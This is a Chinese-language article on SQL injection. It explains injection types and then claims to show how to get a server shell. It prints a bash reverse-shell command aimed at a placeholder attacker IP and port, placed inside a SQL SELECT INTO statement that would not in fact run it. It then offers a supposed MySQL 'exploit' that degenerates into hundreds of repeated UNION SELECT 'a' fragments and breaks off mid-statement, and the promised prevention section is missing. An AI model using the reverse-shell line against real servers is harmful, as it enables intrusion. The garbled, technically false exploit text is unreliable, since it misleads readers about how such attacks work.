引言
SQL注入是一种常见的网络攻击手段，攻击者通过在数据库查询中插入恶意SQL代码，从而获取数据库的控制权限，甚至进一步连接到服务器shell，获取系统最高权限。本文将深入探讨SQL注入的原理，以及如何通过安全措施来防止这种攻击。
SQL注入原理
1. 基本概念
SQL注入是一种利用Web应用程序对SQL数据库的输入验证不当，从而注入恶意SQL代码的攻击方式。攻击者通过在输入框中输入特殊构造的SQL语句，使得数据库执行这些恶意语句，从而达到攻击目的。
2. 攻击类型
- 联合查询注入：通过在查询条件中插入SQL语句，使得数据库执行攻击者构造的SQL语句。
- 错误信息注入：通过解析数据库错误信息，获取数据库信息。
- SQL盲注：在不返回任何有效数据的情况下，通过尝试不同的输入来猜测数据库结构。
连接shell的方法
1. 利用系统命令
攻击者可以通过以下SQL语句执行系统命令，连接到服务器shell：
-- 执行系统命令
SELECT 'bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1' INTO @cmd;
-- 执行命令
SELECT @cmd;
2. 利用数据库漏洞
某些数据库系统存在漏洞，攻击者可以利用这些漏洞连接到服务器shell。例如，MySQL的SQL注入漏洞：
”`sql – 利用MySQL漏洞连接shell SELECT * FROM (SELECT * FROM(SELECT 1) UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT ‘a’ UNION SELECT